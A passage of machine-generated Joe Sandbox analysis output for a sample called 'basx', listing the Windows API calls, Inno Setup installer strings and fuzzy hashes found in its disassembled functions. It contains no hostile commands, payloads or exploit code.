                                                                                          • RtlEnterCriticalSection.KERNEL32(0049B420,00000000,004021FC), ref: 004020CB
                                                                                            • Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
                                                                                            • Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
                                                                                            • Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
                                                                                            • Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
                                                                                          • String ID: xV
                                                                                          • API String ID: 296031713-2633863268
                                                                                          • Opcode ID: f7415a2c64eb69b5f99dd9f286a1c89547b8feb56fb3c065f0e8b1d1766084a0
                                                                                          • Instruction ID: 30adadd309813d1a6846ca6b4958dbaac508113c784b73a5bb8d11bfdb372a30
                                                                                          • Opcode Fuzzy Hash: f7415a2c64eb69b5f99dd9f286a1c89547b8feb56fb3c065f0e8b1d1766084a0
                                                                                          • Instruction Fuzzy Hash: 3941E3B2E00304DFDB10CF69EE8521A77A4F7A8324B15417FD854A77E2D3789801DB88
                                                                                          APIs
                                                                                          • LocalFileTimeToFileTime.KERNEL32(?,?,?,00000000,00000000,004764DF,?,00000000,004764F0,?,00000000,00476539), ref: 004764B0
                                                                                          • SetFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,00000000,00000000,004764DF,?,00000000,004764F0,?,00000000,00476539), ref: 004764C4
                                                                                          Strings
                                                                                          • Extracting temporary file: , xrefs: 004763EC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileTime$Local
                                                                                          • String ID: Extracting temporary file:
                                                                                          • API String ID: 791338737-4171118009
                                                                                          • Opcode ID: a80e35328548893b295efc7472ac722154afa94c34651c27e26e6e8334cb8313
                                                                                          • Instruction ID: 173659db1c42fed311bbc77dc24fc0b62308bfde4479aaaaa113f8cb774a82d8
                                                                                          • Opcode Fuzzy Hash: a80e35328548893b295efc7472ac722154afa94c34651c27e26e6e8334cb8313
                                                                                          • Instruction Fuzzy Hash: 9541B670E00649AFCB01DFA5C892AAFBBB9EB09704F51847AF814A7291D7789905CB58
                                                                                          Strings
                                                                                          • Failed to proceed to next wizard page; aborting., xrefs: 0046CD24
                                                                                          • Failed to proceed to next wizard page; showing wizard., xrefs: 0046CD38
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
                                                                                          • API String ID: 0-1974262853
                                                                                          • Opcode ID: 7a25e1645a33cbe6e929f5c7beb1038c0aed19b3e354743701339651447d5c4b
                                                                                          • Instruction ID: bcb3787111d781b294161d03010f6e791927551fc3c7e501f8e48cd77162cd73
                                                                                          • Opcode Fuzzy Hash: 7a25e1645a33cbe6e929f5c7beb1038c0aed19b3e354743701339651447d5c4b
                                                                                          • Instruction Fuzzy Hash: A531C430604204DFD711EB59D9C5BA977F5EB06304F5500BBF448AB392D7786E40CB49
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(?,00478F7E,?,?,00000001,00000000,00000000,00478F99), ref: 00478F67
                                                                                          Strings
                                                                                          • %s\%s_is1, xrefs: 00478F10
                                                                                          • Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00478EF2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpen
                                                                                          • String ID: %s\%s_is1$Software\Microsoft\Windows\CurrentVersion\Uninstall
                                                                                          • API String ID: 47109696-1598650737
                                                                                          • Opcode ID: 4390143081fa1cbfc05a77ab89ffad6b83c856e6c2d55465ffb8b64579313e9f
                                                                                          • Instruction ID: 4b2a563bf9abf46f4fe3d7c32e0d4fce195dfbf5fea183d3e913b06dd9c9918d
                                                                                          • Opcode Fuzzy Hash: 4390143081fa1cbfc05a77ab89ffad6b83c856e6c2d55465ffb8b64579313e9f
                                                                                          • Instruction Fuzzy Hash: EC218070B44244AFDB11DBA9CC45A9EBBF9EB8D704F90847BE408E7381DB789D018B58
                                                                                          APIs
                                                                                          • SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 004501FD
                                                                                          • ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0045022E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExecuteMessageSendShell
                                                                                          • String ID: open
                                                                                          • API String ID: 812272486-2758837156
                                                                                          • Opcode ID: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
                                                                                          • Instruction ID: 7f57506e0c07b49dd0b520b237e7736b759e9f4ed638734fb0c833ac5abbff07
                                                                                          • Opcode Fuzzy Hash: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
                                                                                          • Instruction Fuzzy Hash: A1216074E00204AFDB10DFA9C896B9EBBF8EB44705F1081BAB404E7292D678DE45CA59
                                                                                          APIs
                                                                                          • ShellExecuteEx.SHELL32(0000003C), ref: 0045532C
                                                                                          • GetLastError.KERNEL32(0000003C,00000000,00455375,?,?,?), ref: 0045533D
                                                                                            • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DirectoryErrorExecuteLastShellSystem
                                                                                          • String ID: <
                                                                                          • API String ID: 893404051-4251816714
                                                                                          • Opcode ID: be62181711fdad770c23067a055a605ead6c89444dc6de91f0ff3b7559ccb240
                                                                                          • Instruction ID: 92df0b2f1231c5c49ece4c570041ef31d6ed92e86db86b93cafb864a5026e18c
                                                                                          • Opcode Fuzzy Hash: be62181711fdad770c23067a055a605ead6c89444dc6de91f0ff3b7559ccb240
                                                                                          • Instruction Fuzzy Hash: 172167B0600609ABDB10EF65C8926AE7BE8AF44355F54403AFC44E7291D7789E49CB98
                                                                                          APIs
                                                                                          • RtlEnterCriticalSection.KERNEL32(0049B420,00000000,)), ref: 004025C7
                                                                                          • RtlLeaveCriticalSection.KERNEL32(0049B420,0040263D), ref: 00402630
                                                                                            • Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
                                                                                            • Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
                                                                                            • Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
                                                                                            • Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0222C26C,00003D90,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$EnterLeave$AllocInitializeLocal
                                                                                          • String ID: )
                                                                                          • API String ID: 2227675388-1084416617
                                                                                          • Opcode ID: 09cf32ac568926239da630a480ec85c7fe0e44c3c7351229851fbcf18ccaddb2
                                                                                          • Instruction ID: 77bd95ba853a3ee3b707a504883d316aad751082ca23ba06a0d8aa2ba3da16af
                                                                                          • Opcode Fuzzy Hash: 09cf32ac568926239da630a480ec85c7fe0e44c3c7351229851fbcf18ccaddb2
                                                                                          • Instruction Fuzzy Hash: E11104317042046FEB15AB796F5962B6AD4D795758B24087FF404F33D2DABD8C02929C
                                                                                          APIs
                                                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 00496B69
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window
                                                                                          • String ID: /INITPROCWND=$%x $@
                                                                                          • API String ID: 2353593579-4169826103
                                                                                          • Opcode ID: 065ab22c92abacbd348a857e8389b224364e1a84b4d72130b6d36c29b0d142f9
                                                                                          • Instruction ID: 88b10d18150c6b9811cea3f3864e76c9cf3cbfb68c265b437af87b1fefc14b87
                                                                                          • Opcode Fuzzy Hash: 065ab22c92abacbd348a857e8389b224364e1a84b4d72130b6d36c29b0d142f9
                                                                                          • Instruction Fuzzy Hash: A3117231A042489FDF01DBA4E855BAEBFE8EB49314F51847BE504E7292EB3CA905C658
                                                                                          APIs
                                                                                            • Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
                                                                                            • Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
                                                                                          • SysFreeString.OLEAUT32(?), ref: 004474C6
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: String$AllocByteCharFreeMultiWide
                                                                                          • String ID: NIL Interface Exception$Unknown Method
                                                                                          • API String ID: 3952431833-1023667238
                                                                                          • Opcode ID: eaaa5532a95bbaa63f0b72a9291e33775e11d622c6162567185e6fee38e986d8
                                                                                          • Instruction ID: eb0132878ffe7144b3db707554455947565e11d0cdd4dc78092451a8fec87e99
                                                                                          • Opcode Fuzzy Hash: eaaa5532a95bbaa63f0b72a9291e33775e11d622c6162567185e6fee38e986d8
                                                                                          • Instruction Fuzzy Hash: 8011B9706082089FEB10DFA58C52A6EBBBCEB09704F91407AF504F7681D77C9D01CB69
                                                                                          APIs
                                                                                          • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00496468,?,0049645C,00000000,00496443), ref: 0049640E
                                                                                          • CloseHandle.KERNEL32(004964A8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00496468,?,0049645C,00000000), ref: 00496425
                                                                                            • Part of subcall function 004962F8: GetLastError.KERNEL32(00000000,00496390,?,?,?,?), ref: 0049631C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseCreateErrorHandleLastProcess
                                                                                          • String ID: 0nI
                                                                                          • API String ID: 3798668922-794067871
                                                                                          • Opcode ID: 9f8f3e3bd8d813766f30c87d8e8bb38219208be6823d56de1360ae23e0f090d4
                                                                                          • Instruction ID: 4379268ebcebee96409867e54b2437a6ba0b21f89d1dc4ba20584320bf55fb87
                                                                                          • Opcode Fuzzy Hash: 9f8f3e3bd8d813766f30c87d8e8bb38219208be6823d56de1360ae23e0f090d4
                                                                                          • Instruction Fuzzy Hash: 840182B1644248AFDB00EBD1DC42A9EBBACDF08704F51403AB904E7281D6785E008A2D
                                                                                          APIs
                                                                                          • RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DD78
                                                                                          • RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DDB8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$EnumQuery
                                                                                          • String ID: Inno Setup: No Icons
                                                                                          • API String ID: 1576479698-2016326496
                                                                                          • Opcode ID: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
                                                                                          • Instruction ID: 8d080c6700cf8453afd411d185ff7d2dd707f59376968ad674d2e7d16536e1ed
                                                                                          • Opcode Fuzzy Hash: 36a0b08f46d91d09f38f531e186592c2a543f82488f0210131226a48688c00be
                                                                                          • Instruction Fuzzy Hash: 1B012B33B55B7179FB3045256D01F7B57889B82B60F64013BF942EA2C0D6999C04936E
                                                                                          APIs
                                                                                          • SetFileAttributesA.KERNEL32(00000000,?,00000000,00452EE9,?,?,-00000001,?), ref: 00452EC3
                                                                                          • GetLastError.KERNEL32(00000000,?,00000000,00452EE9,?,?,-00000001,?), ref: 00452ECB
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AttributesErrorFileLast
                                                                                          • String ID: T$H
                                                                                          • API String ID: 1799206407-488339322
                                                                                          • Opcode ID: 164a1123582fd7f8b9629d9128a54c78742dfc935cb603b92947040143095295
                                                                                          • Instruction ID: d2ab7b9b66ca24062e77e49c95e81f13ab46b8af1b1b2eb811bbb53637dcbd2b
                                                                                          • Opcode Fuzzy Hash: 164a1123582fd7f8b9629d9128a54c78742dfc935cb603b92947040143095295
                                                                                          • Instruction Fuzzy Hash: 86F0F971A04204AB8B01DB7A9D4249EB7ECEB8A32171045BBFC04E3642E7B84E048558
                                                                                          APIs
                                                                                          • DeleteFileA.KERNEL32(00000000,00000000,00452965,?,-00000001,?), ref: 0045293F
                                                                                          • GetLastError.KERNEL32(00000000,00000000,00452965,?,-00000001,?), ref: 00452947
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DeleteErrorFileLast
                                                                                          • String ID: T$H
                                                                                          • API String ID: 2018770650-488339322
                                                                                          • Opcode ID: 54a576a396afaa571a066345412aacc20c83a6c328a38e41dddb38150347ef46
                                                                                          • Instruction ID: a1d21d86fbcf93c7076efe682877c1f84c37cf58088428800e153654eea74c02
                                                                                          • Opcode Fuzzy Hash: 54a576a396afaa571a066345412aacc20c83a6c328a38e41dddb38150347ef46
                                                                                          • Instruction Fuzzy Hash: 05F0C2B2B04608ABDB01EFB59D414AEB7E8EB4E315B6045B7FC04E3742E6B85E148598
                                                                                          APIs
                                                                                          • RemoveDirectoryA.KERNEL32(00000000,00000000,00452E6D,?,-00000001,00000000), ref: 00452E47
                                                                                          • GetLastError.KERNEL32(00000000,00000000,00452E6D,?,-00000001,00000000), ref: 00452E4F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DirectoryErrorLastRemove
                                                                                          • String ID: T$H
                                                                                          • API String ID: 377330604-488339322
                                                                                          • Opcode ID: f20199e737e539a63e7b44ed2747663bd9db8366f39d7150388d1a26e91210d5
                                                                                          • Instruction ID: a8b2bafe79397aca91686f8656b478e2385adfe3b855dfce5f6cc0b9ba314abc
                                                                                          • Opcode Fuzzy Hash: f20199e737e539a63e7b44ed2747663bd9db8366f39d7150388d1a26e91210d5
                                                                                          • Instruction Fuzzy Hash: 70F0FC71A04708AFCF01EF759D4249EB7E8DB4E31575049B7FC14E3642E7785E048598
                                                                                          APIs
                                                                                            • Part of subcall function 0047D0CC: FreeLibrary.KERNEL32(74580000,00481A2F), ref: 0047D0E2
                                                                                            • Part of subcall function 0047CD9C: GetTickCount.KERNEL32 ref: 0047CDE6
                                                                                            • Part of subcall function 00457294: SendMessageA.USER32(00000000,00000B01,00000000,00000000), ref: 004572B3
                                                                                          • GetCurrentProcess.KERNEL32(00000001,?,?,?,?,0049895B), ref: 00498059
                                                                                          • TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,0049895B), ref: 0049805F
                                                                                          Strings
                                                                                          • Detected restart. Removing temporary directory., xrefs: 00498013
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
                                                                                          • String ID: Detected restart. Removing temporary directory.
                                                                                          • API String ID: 1717587489-3199836293
                                                                                          • Opcode ID: 281135f9a0ad5b4e488772808dcd9eaa6bf3b34c39f962a9f46887a4a11e3304
                                                                                          • Instruction ID: bb05712aa7eb36d303e19ffab6eef2c78f2a463723ea7eca767f41585c441369
                                                                                          • Opcode Fuzzy Hash: 281135f9a0ad5b4e488772808dcd9eaa6bf3b34c39f962a9f46887a4a11e3304
                                                                                          • Instruction Fuzzy Hash: BDE0E532208A406DDA1177BABC1396B7F5CDB46768B22487FF50882552D92D481CC53D
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00000000,00498BB6), ref: 0040334B
                                                                                          • GetCommandLineA.KERNEL32(00000000,00498BB6), ref: 00403356
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
